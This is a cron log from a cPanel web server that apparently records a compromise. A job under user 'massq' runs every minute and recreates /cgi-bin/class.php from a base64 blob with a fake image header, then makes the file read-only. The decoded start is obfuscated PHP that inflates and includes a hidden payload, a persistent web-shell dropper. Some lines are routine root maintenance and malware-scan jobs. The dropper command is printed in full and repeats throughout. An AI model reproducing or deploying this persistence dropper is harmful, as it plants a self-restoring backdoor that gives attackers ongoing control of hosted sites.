Nov 15 02:41:01 server CROND[22817]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:42:01 server CROND[23096]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 02:42:01 server CROND[23097]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:43:01 server CROND[23464]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:44:01 server CROND[23735]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:45:01 server CROND[24008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:45:01 server CROND[24009]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:45:01 server CROND[24010]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 02:46:01 server CROND[24353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:47:01 server CROND[24626]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:47:01 server CROND[24627]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron &gt; /dev/null 2&gt;&amp;1 &gt; /dev/null))
Nov 15 02:48:01 server CROND[25056]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:48:15 server crontab[25140]: (root) LIST (root)
Nov 15 02:48:15 server crontab[25142]: (root) LIST (root)
Nov 15 02:48:21 server crontab[25267]: (root) LIST (root)
Nov 15 02:49:01 server CROND[25977]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:50:01 server CROND[26282]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 02:50:01 server CROND[26281]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 02:50:01 server CROND[26285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:50:01 server CROND[26286]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 02:50:01 server CROND[26287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:51:01 server CROND[26611]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:52:01 server CROND[26883]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:53:01 server CROND[27165]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
